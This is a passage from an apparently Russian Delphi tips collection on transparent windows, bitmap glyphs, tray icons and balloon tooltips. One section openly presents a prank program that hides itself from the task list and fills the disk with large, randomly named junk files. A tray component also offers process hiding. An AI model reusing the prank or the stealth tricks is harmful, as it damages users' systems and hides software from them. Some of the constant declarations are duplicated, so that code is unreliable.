     fOnControl := Value;
 
     if fOnControl <> nil then
       Visible := True;
 
     { Используйте только WM_SETREDRAW, если окно полностью невидимо }
     if Invisible and (Parent <> nil) then
       Parent.Perform(WM_SETREDRAW, 1, 0);
   end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   InvWin := TInvWin.Create(Self);
   InvWin.Visible := False;
   InvWin.Parent := Self;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage('MouseClick над Button1');
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   ShowMessage('MouseClick над Button2');
 end;
 
 procedure TForm1.Button3Click(Sender: TObject);
 begin
   InvWin.OnControl := Button1;
 end;
 
 procedure TForm1.Button4Click(Sender: TObject);
 begin
   InvWin.OnControl := Button2;
 end;
 
 procedure TForm1.CheckBox1Click(Sender: TObject);
 begin
   InvWin.OnControl := nil;
   InvWin.Invisible := CheckBox1.Checked;
 end;
 
 end.
 




Прозрачная часть glyphа стандартного TBitBtn видна, как исправить?

В примере используется техника закраски прозрачной части glyph'а цветом кнопки на которой он находится - таким образом glyph кажется прозрачным.


 function InitStdBitBtn(BitBtn : TBitBtn; kind : TBitBtnKind) : bool;
 var
   Bm1: TBitmap;
   Bm2: TBitmap;
 begin
   Result := false;
   if Kind = bkCustom then
     exit;
   Bm1 := TBitmap.Create;
   case Kind of
     bkOK     : Bm1.Handle := LoadBitmap(hInstance, 'BBOK');
     bkCancel : Bm1.Handle := LoadBitmap(hInstance, 'BBCANCEL');
     bkHelp   : Bm1.Handle := LoadBitmap(hInstance, 'BBHELP');
     bkYes    : Bm1.Handle := LoadBitmap(hInstance, 'BBYES');
     bkNo     : Bm1.Handle := LoadBitmap(hInstance, 'BBNO');
     bkClose  : Bm1.Handle := LoadBitmap(hInstance, 'BBCLOSE');
     bkAbort  : Bm1.Handle := LoadBitmap(hInstance, 'BBABORT');
     bkRetry  : Bm1.Handle := LoadBitmap(hInstance, 'BBRETRY');
     bkIgnore : Bm1.Handle := LoadBitmap(hInstance, 'BBIGNORE');
     bkAll    : Bm1.Handle := LoadBitmap(hInstance, 'BBALL');
   end;
   Bm2 := TBitmap.Create;
   Bm2.Width := Bm1.Width;
   Bm2.Height := Bm1.Height;
   Bm2.Canvas.Brush.Color := ClBtnFace;
   Bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height), Bm1,
   Rect(0, 0, Bm1.width, Bm1.Height),
   Bm1.canvas.pixels[0,0]);
   Bm1.Free;
   LockWindowUpdate(BitBtn.Parent.Handle);
   BitBtn.Kind := kind;
   BitBtn.Glyph.Assign(bm2);
   LockWindowUpdate(0);
   Bm2.Free;
   Result := true;
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   InitStdBitBtn(BitBtn1, bkOk);
 end;
 




Как сделать прозрачным фон текста

Используйте функцию SetBkMode():


 procedure TForm1.Button1Click(Sender: TObject);
 var
   OldBkMode: integer;
 begin
   with Form1.Canvas do
   begin
     Brush.Color := clRed;
     FillRect(Rect(0, 0, 100, 100));
     Brush.Color := clBlue;
     TextOut(10, 20, 'Not Transparent!');
     OldBkMode := SetBkMode(Handle, TRANSPARENT);
     TextOut(10, 50, 'Transparent!');
     SetBkMode(Handle, OldBkMode);
   end;
 end;
 




Прозрачное окно



 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls;
 
 type
   TForm1 = class(TForm)
     Edit1: TEdit;
     Label1: TLabel;
     Button1: TButton;
   protected
     procedure RebuildWindowRgn;
     procedure Resize; override;
   public
     constructor Create(AOwner:TComponent);override;
   end;
 
 var
   Form1: TForm1;
 
 implementation
 {$R *.DFM}
 
 constructor TForm1.Create(AOwner:TComponent);
 begin
   inherited;
   HorzScrollbar.Visible := false;
   VertScrollbar.Visible := false;
   RebuildWindowRgn;
 end;
 
 procedure TForm1.Resize;
 begin
   inherited;
   RebuildWindowRgn;
 end;
 
 procedure TForm1.RebuildWindowRgn;
 var
   FullRgn, Rgn: THandle;
   ClientX, ClientY, i: integer;
 begin
   ClientX:=(Width-ClientWidth) div 2;
   ClientY:=Height-ClientHeight-ClientX;
 
   FullRgn:=CreateRectRgn(0,0,Width,Height);
   Rgn:=CreateRectRgn(ClientX,ClientY,ClientX+ClientWidth,
   ClientY+ClientHeight);
 
   CombineRgn(FullRgn,FullRgn,Rgn,RGN_DIFF);
 
   for i:=0 to ControlCount-1 do
     with Controls[i] do
     begin
       Rgn:=CreateRectRgn(ClientX+Left,ClientY+Top,
       ClientX+Left+Width,ClientY+Top+Height);
       CombineRgn(FullRgn,FullRgn,Rgn,RGN_OR);
     end;
 
   SetWindowRgn(Handle,FullRgn,true);
 end;
 
 end.
 




Прозрачное окно 2


 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Form1.Brush.Style := bsClear;
   Form1.BorderStyle := bsNone
 end;
 




Мало места на винте


Пpогpаммист увидел HЛО:
- У кого-то диск полетел...

Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором


 program musor;
 
 uses
   Windows;
 
 var
    { Объявление переменных }
   text: TextFile;
   alphabet, temp: string;
   i: integer;
   point: TPoint;
 
 function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
 stdcall; external 'KERNEL32.DLL';
 begin
   RegisterServiceProcess(0, 1);
   {заполняем строку алфавитом}
   alphabet := 'abcdefghijklmnopqrstucvwxyz';
   while true do
   begin
     { получаем координаты курсора }
     GetCursorPos(point);
     { если х = 0 и y = 0 то }
     if (point.x = 0) and (point.y = 0) then
     begin
       temp:=''; {очищаем буфер}
       for i:=1 to 8 do {генерируем случайное имя файла}
         temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
       temp:=Concat(temp, '.');
       for i:=1 to 3 do {генерируем случайное расширение}
         temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
       Assign(text, temp); { присваиваем имя файлу }
       Rewrite(text); {открываем файл}
       for i:=1 to 30000000 do
       begin
         Yield;
         write(text, '!'); { наполняем файл мусором }
       end;
       Close(text); {закрываем файл }
     end;
   end; {всё сначала }
 end.
 




Компонент TrayComp

Автор: Alexander Rodigin


 {************* FREEWARE ******************}
 {****************************************************}
 {************* copyright (c) ******************}
 {************* Alexander Rodigin ******************}
 {************* ras@ras.udm.ru ******************}
 {************* May 6 1999 Russia ******************}
 {*****************************************************
 TrayComponent is a mix of two components:
 Stealth by Janus N. Tшndering 1998
 [j@nus.person.dk]
 with thanks to...
 Eric Lawrence [deltagrp@juno.com]
 John Molyneux [jaymol@hotmail.com]
 copyright © Amigreen Software 1998
 and
 TrayIcon by Pete Ness
 Compuserve ID: 102347,710
 Internet: 102347.710@compuserve.com
 http:\\ourworld.compuserve.com\homepages\peteness.
 Some properties were modified.
 Also some new properties were added :
 1)ShowInTaskBar allow not to minimize the form onto TaskBar;
 2)ShowForm allow completely hide the form from the user and Alt-Tab Menu;
 3)RunMinimized disallow application's start-up in minimized state
   because minimized form will appear onto Task Bar;
 4)DefRClick and DefLClick activates the form if ShowForm = true
   and no code assigned to these eventhandlers;
 5)the Icon by default is the application's icon;
 6)HideApp doesn't conflict with Windows NT now;
 
 The first time you try TTrayComponent just put it onto the form and
 run app to test default options.
 
 Any changes,bugs and suggestions please report to ras@ras.udm.ru}
 
 unit TrayComp;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls,
   Forms, ShellAPI, Menus, Dialogs, CommCtrl;
 
 const
   WM_FROMTRAYICON = WM_USER+59;
   WM_RESETTOOLTIP = WM_USER+61;
 
 type
   TTrayComp = class(TComponent)
   private
     { Private declarations }
     { general }
     FhWnd : hWnd;
     FhLib : hInst;
     { for hiding }
     FHideApp : Boolean;
     FShowForm : Boolean;
     FShowInTaskBar: Boolean;
     FRunMinimized : Boolean;
     OldWndProc : TFarProc;
     NewWndProc : Pointer;
     { for icon }
     IconData : TNOTIFYICONDATA;
     FIcon : TIcon;
     FToolTip : string;
     FShowIcon : Boolean;
     FPopupMenu : TPopupMenu;
     FDefRClick : Boolean;
     FDefLClick : Boolean;
     FOnLeftClick : TNotifyEvent;
     FOnRightClick : TMouseEvent;
     FOnMouseMove : TNotifyEvent;
     { for hiding }
     procedure SetHideApp(Value:Boolean);
     procedure SetShowForm(Value:Boolean);
     procedure SetShowInTaskBar(Value: Boolean);
     procedure InsertHook;
     procedure RemoveHook;
     procedure OurWndProc(var M: TMessage);
     { for icon }
     function PlaceIcon : Boolean;
     function ReplaceIcon : Boolean;
     function EraseIcon : Boolean;
     procedure SetShowIcon(Value : Boolean);
     procedure SetIcon(Value : TIcon);
     procedure SetToolTip(Value : string);
     procedure FillIconData;
     procedure DoRightClick(Sender : TObject);
     procedure DoLeftClick(Sender : TObject);
     procedure DoMouseMove(Sender:TObject);
   protected
     { Protected declarations }
     { for hiding }
     procedure Loaded; override;
     procedure DoHiding;
   public
     { Public declarations }
     constructor Create(AOwner: TComponent); override;
     destructor Destroy; override;
   published
     { Published declarations }
     { for hiding }
     property HideApp :Boolean read FHideApp write SetHideApp ;
     property ShowForm :Boolean read FShowForm write SetShowForm default True;
     property ShowInTaskBar:Boolean read FShowInTaskBar write SetShowInTaskBar default False;
     property RunMinimized :Boolean read FRunMinimized write FRunMinimized default False;
     { for icon }
     property ShowIcon : boolean read FShowIcon write SetShowIcon;
     property Icon : TIcon read FIcon write SetIcon;
     property ToolTip : string read FTooltip write SetToolTip;
     property PopupMenu : TPopupMenu read fPopupMenu write fPopupMenu;
     property DefRClick : Boolean read FDefRClick write FDefRClick default False;
     property DefLClick : Boolean read FDefLClick write FDefLClick default True;
     property OnLeftClick : TNotifyEvent read FOnLeftClick write FOnLeftClick;
     property OnRightClick : TMouseEvent read FOnRightClick write FonRightClick;
     property OnMouseMove : TNotifyEvent read FOnMouseMove write FOnMouseMove;
   end;
 
 procedure register;
 
 implementation
 
 constructor TTrayComp.Create(AOwner: TComponent);
 var
   i: Integer;
   Already:Byte;
 begin
   inherited Create(AOwner);
   { for hiding }
   FHideApp:=True;
   FShowForm:=True;
   FShowInTaskBar := False;
   FRunMinimized:=False;
   NewWndProc := nil;
   OldWndProc := nil;
   Already:=0;
   if (csDesigning in ComponentState) then
     if (AOwner is TForm) then
       with (AOwner as TForm) do
       begin
         for i := 0 to ComponentCount - 1 do
           if Components[i] is TTrayComp then
             Inc(Already);
         if Already>1 then
           raise Exception.Create('You can''t create a second TTrayComp on the same form!');
       end
     else
       raise Exception.Create('You can create a TTrayComp only on the form!');
   { for icon }
   FIcon := TIcon.Create;
   FShowIcon:=True;
   FDefRClick:=False;
   FDefLClick:=True;
   if (csDesigning in ComponentState) then
     SetIcon(Application.Icon);
 end;
 
 destructor TTrayComp.Destroy;
 begin
   { for hiding }
   RemoveHook;
   { for icon }
   if not (csDesigning in ComponentState)then
     if FShowIcon then
       EraseIcon;
   FIcon.Free;
   inherited Destroy;
 end;
 
 procedure TTrayComp.Loaded;
 begin
   inherited Loaded;
   FhWnd:=(Owner as TForm).Handle;
   { terminate if minimized not allowed }
   if IsIconic(FhWnd)and not FRunMinimized then
     Application.Terminate;
   InsertHook;
   { hide the form at start-up if needed }
   if not FShowForm then
   begin
     (Owner as TForm).Visible:=False;
     Application.ShowMainForm:=False;
   end;
 end;
 
 procedure TTrayComp.DoHiding;
 begin
   if not (csDesigning in ComponentState) then
     if not FShowInTaskBar then
       ShowWindow(FindWindow(nil, @Application.Title[1]), SW_HIDE);
 end;
 
 procedure TTrayComp.SetShowInTaskBar(Value:Boolean);
 begin
   FShowInTaskBar:=Value;
   DoHiding;
 end;
 
 procedure TTrayComp.InsertHook;
 begin
   if Owner <> nil then
   begin
     OldWndProc := TFarProc(GetWindowLong(FhWnd, GWL_WNDPROC));
     NewWndProc := MakeObjectInstance(OurWndProc);
     SetWindowLong(FhWnd, GWL_WNDPROC,Integer(NewWndProc));
   end;
 end;
 
 procedure TTrayComp.RemoveHook;
 begin
   if (Owner <> nil) and Assigned(OldWndProc) then
     SetWindowLong(FhWnd, GWL_WNDPROC,Integer(OldWndProc));
   if Assigned(NewWndProc) then
     FreeObjectInstance(NewWndProc);
   NewWndProc := nil;
   OldWndProc := nil;
 end;
 
 procedure TTrayComp.OurWndProc(var M: TMessage);
 begin
   if Owner <> nil then
     case M.Msg of
       WM_ACTIVATE:
         if (M.WParamLo <> WA_INACTIVE) then
           DoHiding;
       WM_SYSCOMMAND:
         if (M.WParam = SC_MINIMIZE)and not ShowInTaskBar then
         begin
           M.Msg:=WM_SHOWWINDOW;
           M.WParam := SW_HIDE;
         end;
       WM_FROMTRAYICON:
       begin
         case M.LParam of
           WM_LBUTTONUP : DoLeftClick(Self);
           WM_RBUTTONUP : DoRightClick(Self);
           WM_MOUSEMOVE : DoMouseMove(Self);
         end;
         Exit
       end;
       WM_RESETTOOLTIP:
       begin
         SetToolTip(FToolTip);
         Exit
       end
     end;
   M.Result := CallWindowProc(OldWndProc,FhWnd, M.Msg, M.WParam, M.LParam);
 end;
 
 procedure TTrayComp.SetHideApp(Value:Boolean);
 type
   Proc=procedure(PID,T:DWord); stdcall;
 var
   RegProc: Proc;
 begin
   if Value<>FHideApp then
     FHideApp:=Value;
   if not (csDesigning in ComponentState)then
   begin
     if FhLib=0 then
       FhLib:=GetModuleHandle(PChar('kernel32.dll'));
     if FhLib=0 then
       Exit;
     @RegProc:=GetProcAddress(FhLib,PChar('RegisterServiceProcess'));
     if @RegProc<>nil then
     begin
       if Value then
         RegProc(GetCurrentProcessID, 1)
       else
         RegProc(GetCurrentProcessID, 0);
     end
     else
       FHideApp:=False;
   end;
 end;
 
 procedure TTrayComp.SetShowForm(Value:Boolean);
 begin
   if not (csDesigning in ComponentState)then
     if Value then
       ShowWindow(FhWnd,SW_SHOW)
     else
       ShowWindow(FhWnd,SW_HIDE);
   if Value and not(Owner as TForm).Visible then
     (Owner as TForm).Visible:=True;
   if FShowForm<>Value then
     FShowForm:=Value;
   DoHiding;
 end;
 
 procedure TTrayComp.FillIconData;
 begin
   with IconData do
   begin
     cbSize := sizeof(TNOTIFYICONDATA);
     wnd := (Owner as TForm).Handle;
     uID := 0;
     uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
     hIcon := FIcon.Handle;
     StrPCopy(szTip,FToolTip);
     uCallbackMessage := WM_FROMTRAYICON;
   end;
 end;
 
 procedure TTrayComp.SetToolTip(Value:string);
 begin
   // This routine ALWAYS re-sets the field value and re-loads the
   // icon. This is so the ToolTip can be set blank when the component
   // is first loaded. If this is changed, the icon will be blank on
   // the tray when no ToolTip is specified.
   if Length( Value ) > 62 then
     Value := Copy(Value,1,62);
   FToolTip := Value;
   ReplaceIcon;
 end;
 
 function TTrayComp.PlaceIcon:Boolean;
 begin
   FillIconData;
   Result := Shell_NotifyIcon(NIM_ADD,@IconData);
   // For some reason, if there is no tool tip set up, then the icon
   // doesn't display. This fixes that.
   if FToolTip = '' then
     PostMessage( (Owner as TForm).Handle, WM_RESETTOOLTIP,0,0 );
 end;
 
 function TTrayComp.ReplaceIcon:Boolean;
 begin
   FillIconData;
   if FShowIcon then
     Result := Shell_NotifyIcon(NIM_MODIFY,@IconData)
   else
     Result := True;
 end;
 
 function TTrayComp.EraseIcon:Boolean;
 begin
   Result := Shell_NotifyIcon(NIM_DELETE,@IconData);
 end;
 
 procedure TTrayComp.SetShowIcon(Value:Boolean);
 begin
   if not (csdesigning in ComponentState) then
   begin
     if Value then
       PlaceIcon
     else
       EraseIcon
   end;
   if Value <> FShowIcon then
     FShowIcon:=Value;
 end;
 
 procedure TTrayComp.SetIcon(Value:TIcon);
 begin
   if Value <> FIcon then
   begin
     FIcon.Assign(Value);
     ReplaceIcon;
   end;
 end;
 
 procedure TTrayComp.DoRightClick(Sender:TObject);
 var
   Coord: TPoint;
 begin
   GetCursorPos(Coord);
   if Assigned( FOnRightClick ) then
     FOnRightClick(Self,mbRight,[],Coord.X,Coord.Y)
   else
     if FDefRClick and FShowForm then
     begin
       ShowWindow(FhWnd,SW_SHOW);
       SetActiveWindow(FhWnd);
     end;
   if Assigned(FPopupMenu) then
   begin
     SetActiveWindow((Owner as TForm).Handle);
     FPopupMenu.PopUp(Coord.X,Coord.Y);
   end
 end;
 
 procedure TTrayComp.DoLeftClick(Sender : TObject);
 begin
   if Assigned(FOnLeftClick)then
     FOnLeftClick(Self)
   else
   if DefLClick and FShowForm then
   begin
     ShowWindow(FhWnd,SW_SHOW);
     SetActiveWindow(FhWnd);
   end;
 end;
 
 procedure TTrayComp.DoMouseMove(Sender : TObject);
 begin
   if Assigned(FOnMouseMove)then
     FOnMouseMove(Self)
 end;
 
 procedure register;
 begin
   RegisterComponents('RAS', [TTrayComp]);
 end;
 
 end.
 




Компонент TrayIcon


 unit Trayicon;
 interface
 uses
 
   SysUtils, Windows, Messages, Classes, Graphics, Controls, ShellAPI, Forms,
   menus;
 const
   WM_TOOLTRAYICON = WM_USER + 1;
 
   WM_RESETTOOLTIP = WM_USER + 2;
 type
 
   TTrayIcon = class(TComponent)
   private
     // BDS
     { для внутреннего пользования }
     hMapping: THandle;
     { Набор переменных }
     IconData: TNOTIFYICONDATA;
     fIcon: TIcon;
     fToolTip: string;
     fWindowHandle: HWND;
     fActive: boolean;
     fShowApp: boolean; // Добавлено
     fSendMsg: string;
     fShowDesigning: Boolean;
     { События }
     fOnClick: TNotifyEvent;
     fOnDblClick: TNotifyEvent;
     fOnRightClick: TMouseEvent;
     fPopupMenu: TPopupMenu;
     function AddIcon: boolean;
     function ModifyIcon: boolean;
     function DeleteIcon: boolean;
     procedure SetActive(Value: boolean);
     procedure SetShowApp(Value: boolean); // Добавлено
     procedure SetShowDesigning(Value: boolean);
     procedure SetIcon(Value: TIcon);
     procedure SetToolTip(Value: string);
     procedure WndProc(var msg: TMessage);
     procedure FillDataStructure;
     procedure DoRightClick(Sender: TObject);
   protected
   public
     FMessageID: DWORD;
     constructor create(aOwner: TComponent); override;
     procedure Loaded; override; // Добавлено
     destructor destroy; override;
     procedure GoToPreviousInstance;
   published
     property Active: boolean read fActive write SetActive;
     property ShowDesigning: boolean read fShowDesigning write
       SetShowDesigning;
 
     property Icon: TIcon read fIcon write SetIcon;
     property IDMessage: string read fSendMsg write fSendMsg;
     property ShowApp: boolean read fShowApp write SetShowApp; // Добавлено
     property ToolTip: string read fTooltip write SetToolTip;
     property OnClick: TNotifyEvent read FOnClick write FOnClick;
     property OnDblClick: TNotifyEvent read FOnDblClick write FOnDblClick;
     property OnRightClick: TMouseEvent read FOnRightClick write
       FonRightClick;
 
     property PopupMenu: TPopupMenu read fPopupMenu write fPopupMenu;
   end;
 
 procedure Register;
 
 type
 
   PHWND = ^HWND;
 
 implementation
 
 {$R TrayIcon.res}
 
 procedure TTrayIcon.GoToPreviousInstance;
 begin
 
   PostMessage(hwnd_Broadcast, fMessageID, 0, 0);
 end;
 
 procedure TTrayIcon.SetActive(Value: boolean);
 begin
 
   if value <> fActive then
   begin
     fActive := Value;
     if not (csdesigning in ComponentState) then
     begin
       if Value then
       begin
         AddIcon;
       end
       else
       begin
         DeleteIcon;
       end;
     end;
   end;
 end;
 
 procedure TTrayIcon.SetShowApp(Value: boolean); // Добавлено
 begin
 
   if value <> fShowApp then
     fShowApp := value;
   if not (csdesigning in ComponentState) then
   begin
     if Value then
     begin
       ShowWindow(Application.Handle, SW_SHOW);
     end
     else
     begin
       ShowWindow(Application.Handle, SW_HIDE);
     end;
   end;
 end;
 
 procedure TTrayIcon.SetShowDesigning(Value: boolean);
 begin
 
   if csdesigning in ComponentState then
   begin
     if value <> fShowDesigning then
     begin
       fShowDesigning := Value;
       if Value then
       begin
         AddIcon;
       end
       else
       begin
         DeleteIcon;
       end;
     end;
   end;
 end;
 
 procedure TTrayIcon.SetIcon(Value: Ticon);
 begin
 
   if Value <> fIcon then
   begin
     fIcon.Assign(value);
     ModifyIcon;
   end;
 end;
 
 procedure TTrayIcon.SetToolTip(Value: string);
 begin
 
   // Данная программа ВСЕГДА переустанавливает текст подсказки и перезагружает
   // иконку. Текст может быть пустым в случае первой инициализации компонента.
   // Без инициализации иконка будет пустой и текст подсказки будет отсутствовать.
   if length(Value) > 62 then
     Value := copy(Value, 1, 62);
   fToolTip := value;
   ModifyIcon;
 end;
 
 constructor TTrayIcon.create(aOwner: Tcomponent);
 begin
 
   inherited create(aOwner);
   FWindowHandle := AllocateHWnd(WndProc);
   FIcon := TIcon.Create;
   SetShowApp(False);
 end;
 
 destructor TTrayIcon.destroy;
 begin
 
   // BDS
   CloseHandle(hMapping);
 
   if (not (csDesigning in ComponentState) and fActive)
     or ((csDesigning in ComponentState) and fShowDesigning) then
     DeleteIcon;
   FIcon.Free;
   DeAllocateHWnd(FWindowHandle);
   inherited destroy;
 end;
 
 procedure TTrayIcon.Loaded;
 var
 
   // BDS
   // hMapping: HWND;
   tmp, tmpID: PChar;
 begin
 
   inherited Loaded;
   if fSendMsg <> '' then
   begin
     GetMem(tmp, Length(fSendMsg) + 1);
     GetMem(tmpID, Length(fSendMsg) + 1);
     StrPCopy(tmp, fSendMsg);
     StrPCopy(tmpID, fSendMsg);
     fMessageID := RegisterWindowMessage(tmp);
     FreeMem(tmp);
     hMapping := CreateFileMapping(HWND($FFFFFFFF), nil, PAGE_READONLY, 0, 32,
       tmpID);
     if (hMapping <> NULL) and (GetLastError = ERROR_ALREADY_EXISTS) then
     begin
       if not (csDesigning in ComponentState) then
       begin
         GotoPreviousInstance;
         FreeMem(tmpID);
         halt;
       end;
     end;
     FreeMem(tmpID);
   end;
   SetShowApp(fShowApp);
 end;
 
 procedure TTrayIcon.FillDataStructure;
 begin
 
   with IconData do
   begin
     cbSize := sizeof(TNOTIFYICONDATA);
     wnd := FWindowHandle;
     uID := 0; // определенный приложением идентификатор иконки
     uFlags := NIF_MESSAGE + NIF_ICON + NIF_TIP;
     hIcon := fIcon.Handle;
     StrPCopy(szTip, fToolTip);
     uCallbackMessage := WM_TOOLTRAYICON;
   end;
 end;
 
 function TTrayIcon.AddIcon: boolean;
 begin
 
   FillDataStructure;
   result := Shell_NotifyIcon(NIM_ADD, @IconData);
   // По неизвестной причине, если не задан текст всплывающей
   // подсказки, иконка не выводится. Здесь это учтено.
   if fToolTip = '' then
     PostMessage(fWindowHandle, WM_RESETTOOLTIP, 0, 0);
 end;
 
 function TTrayIcon.ModifyIcon: boolean;
 begin
 
   FillDataStructure;
   if fActive then
     result := Shell_NotifyIcon(NIM_MODIFY, @IconData)
   else
     result := True;
 end;
 
 procedure TTrayIcon.DoRightClick(Sender: TObject);
 var
   MouseCo: Tpoint;
 begin
 
   GetCursorPos(MouseCo);
   if assigned(fPopupMenu) then
   begin
     SetForegroundWindow(Application.Handle);
     Application.ProcessMessages;
     fPopupmenu.Popup(Mouseco.X, Mouseco.Y);
   end;
   if assigned(FOnRightClick) then
   begin
     FOnRightClick(self, mbRight, [], MouseCo.x, MouseCo.y);
   end;
 end;
 
 function TTrayIcon.DeleteIcon: boolean;
 begin
 
   result := Shell_NotifyIcon(NIM_DELETE, @IconData);
 end;
 
 procedure TTrayIcon.WndProc(var msg: TMessage);
 begin
 
   with msg do
     if (msg = WM_RESETTOOLTIP) then
       SetToolTip(fToolTip)
     else if (msg = WM_TOOLTRAYICON) then
     begin
       case lParam of
         WM_LBUTTONDBLCLK: if assigned(FOnDblClick) then
             FOnDblClick(self);
         WM_LBUTTONUP: if assigned(FOnClick) then
             FOnClick(self);
         WM_RBUTTONUP: DoRightClick(self);
       end;
     end
     else // Обработка всех сообщений с дескриптором по умолчанию
       Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
 end;
 
 procedure Register;
 begin
 
   RegisterComponents('Win95', [TTrayIcon]);
 end;
 end.
 




Использование подсказки в Tray в виде шара


 {
   Use the AddSysTrayIcon procedure to add icon to notification area
   (in FormCreate, for example), and use the ShowBalloonTips procedure
   when ever you want(of cause must after you called AddSysTrayIcon procedure),
   and finally call DeleteSysTrayIcon procedure to remove icon from
   notification area after your using.
   Add propriety code to the callback message handler.
 
   The new feature require IE5 or later.
 }
 
 unit Unit1;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
 
 {new constant definitions}
 
 const
   NIF_INFO = $10;
   NIF_MESSAGE = 1;
   NIF_ICON = 2;
   NOTIFYICON_VERSION = 3;
   NIF_TIP = 4;
   NIM_SETVERSION = $00000004;
   NIM_SETFOCUS = $00000003;
   NIIF_INFO = $00000001;
   NIIF_WARNING = $00000002;
   NIIF_ERROR = $00000003;
 
   NIN_BALLOONSHOW = WM_USER + 2;
   NIN_BALLOONHIDE = WM_USER + 3;
   NIN_BALLOONTIMEOUT = WM_USER + 4;
   NIN_BALLOONUSERCLICK = WM_USER + 5;
   NIN_SELECT = WM_USER + 0;
   NINF_KEY = $1;
   NIN_KEYSELECT = NIN_SELECT or NINF_KEY;
 
   NIN_BALLOONSHOW = WM_USER + 2;
   NIN_BALLOONHIDE = WM_USER + 3;
   NIN_BALLOONTIMEOUT = WM_USER + 4;
   NIN_BALLOONUSERCLICK = WM_USER + 5;
   NIN_SELECT = WM_USER + 0;
   NINF_KEY = $1;
   NIN_KEYSELECT = NIN_SELECT or NINF_KEY;
   {other constants can be found in vs.net---vc7's dir: PlatformSDK\Include\ShellAPI.h}
 
   {define the callback message}
   TRAY_CALLBACK = WM_USER + $7258;
 
   {new NotifyIconData structure definition}
 type
   PNewNotifyIconData = ^TNewNotifyIconData;
   TDUMMYUNIONNAME    = record
     case Integer of
       0: (uTimeout: UINT);
       1: (uVersion: UINT);
   end;
 
   TNewNotifyIconData = record
     cbSize: DWORD;
     Wnd: HWND;
     uID: UINT;
     uFlags: UINT;
     uCallbackMessage: UINT;
     hIcon: HICON;
    //Version 5.0 is 128 chars, old ver is 64 chars 
     szTip: array [0..127] of Char;
     dwState: DWORD; //Version 5.0 
     dwStateMask: DWORD; //Version 5.0 
     szInfo: array [0..255] of Char; //Version 5.0 
     DUMMYUNIONNAME: TDUMMYUNIONNAME;
     szInfoTitle: array [0..63] of Char; //Version 5.0 
     dwInfoFlags: DWORD;   //Version 5.0 
   end;
 
 
 type
   TForm1 = class(TForm)
     procedure FormCreate(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
   private
     IconData: TNewNotifyIconData;
     procedure SysTrayIconMsgHandler(var Msg: TMessage); message TRAY_CALLBACK;
     procedure AddSysTrayIcon;
     procedure ShowBalloonTips;
     procedure DeleteSysTrayIcon;
   public
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 uses
   ShellAPI;
 
 procedure TForm1.SysTrayIconMsgHandler(var Msg: TMessage);
 begin
   case Msg.lParam of
     WM_MOUSEMOVE:;
     WM_LBUTTONDOWN:;
     WM_LBUTTONUP:;
     WM_LBUTTONDBLCLK:;
     WM_RBUTTONDOWN:;
     WM_RBUTTONUP:;
     WM_RBUTTONDBLCLK:;
     //followed by the new messages 
     NIN_BALLOONSHOW:
     {Sent when the balloon is shown}
       ShowMessage('NIN_BALLOONSHOW');
     NIN_BALLOONHIDE:
     {Sent when the balloon disappears?Rwhen the icon is deleted,
     for example. This message is not sent if the balloon is dismissed because of
     a timeout or mouse click by the user. }
       ShowMessage('NIN_BALLOONHIDE');
     NIN_BALLOONTIMEOUT:
     {Sent when the balloon is dismissed because of a timeout.}
       ShowMessage('NIN_BALLOONTIMEOUT');
     NIN_BALLOONUSERCLICK:
     {Sent when the balloon is dismissed because the user clicked the mouse.
     Note: in XP there's Close button on he balloon tips, when click the button,
     send NIN_BALLOONTIMEOUT message actually.}
       ShowMessage('NIN_BALLOONUSERCLICK');
   end;
 end;
 
   {AddSysTrayIcon procedure add an icon to notification area}
 procedure TForm1.AddSysTrayIcon;
 begin
   IconData.cbSize := SizeOf(IconData);
   IconData.Wnd := AllocateHWnd(SysTrayIconMsgHandler);
   {SysTrayIconMsgHandler is then callback message' handler}
   IconData.uID := 0;
   IconData.uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
   IconData.uCallbackMessage := TRAY_CALLBACK;   //user defined callback message 
   IconData.hIcon := Application.Icon.Handle;    //an Icon's Handle 
   IconData.szTip := 'Please send me email.';
   if not Shell_NotifyIcon(NIM_ADD, @IconData) then
     ShowMessage('add fail');
 end;
 
 {ShowBalloonTips procedure carry out the new feature: Balloon Tips}
 procedure TForm1.ShowBalloonTips;
 var
   TipInfo, TipTitle: string;
 begin
   IconData.cbSize := SizeOf(IconData);
   IconData.uFlags := NIF_INFO;
   TipInfo := 'Please send me email.';
   strPLCopy(IconData.szInfo, TipInfo, SizeOf(IconData.szInfo) - 1);
   IconData.DUMMYUNIONNAME.uTimeout := 3000;
   TipTitle := 'Happyjoe@21cn.com';
   strPLCopy(IconData.szInfoTitle, TipTitle, SizeOf(IconData.szInfoTitle) - 1);
   IconData.dwInfoFlags := NIIF_INFO;     //NIIF_ERROR;  //NIIF_WARNING; 
   Shell_NotifyIcon(NIM_MODIFY, @IconData);
   {in my testing, the following code has no use}
   IconData.DUMMYUNIONNAME.uVersion := NOTIFYICON_VERSION;
   if not Shell_NotifyIcon(NIM_SETVERSION, @IconData) then
     ShowMessage('setversion fail');
 end;
 
 {here's the deletion procedure}
 procedure TForm1.DeleteSysTrayIcon;
 begin
   DeallocateHWnd(IconData.Wnd);
   if not Shell_NotifyIcon(NIM_DELETE, @IconData) then
     ShowMessage('delete fail');
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   AddSysTrayIcon;
   ShowBalloonTips;
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
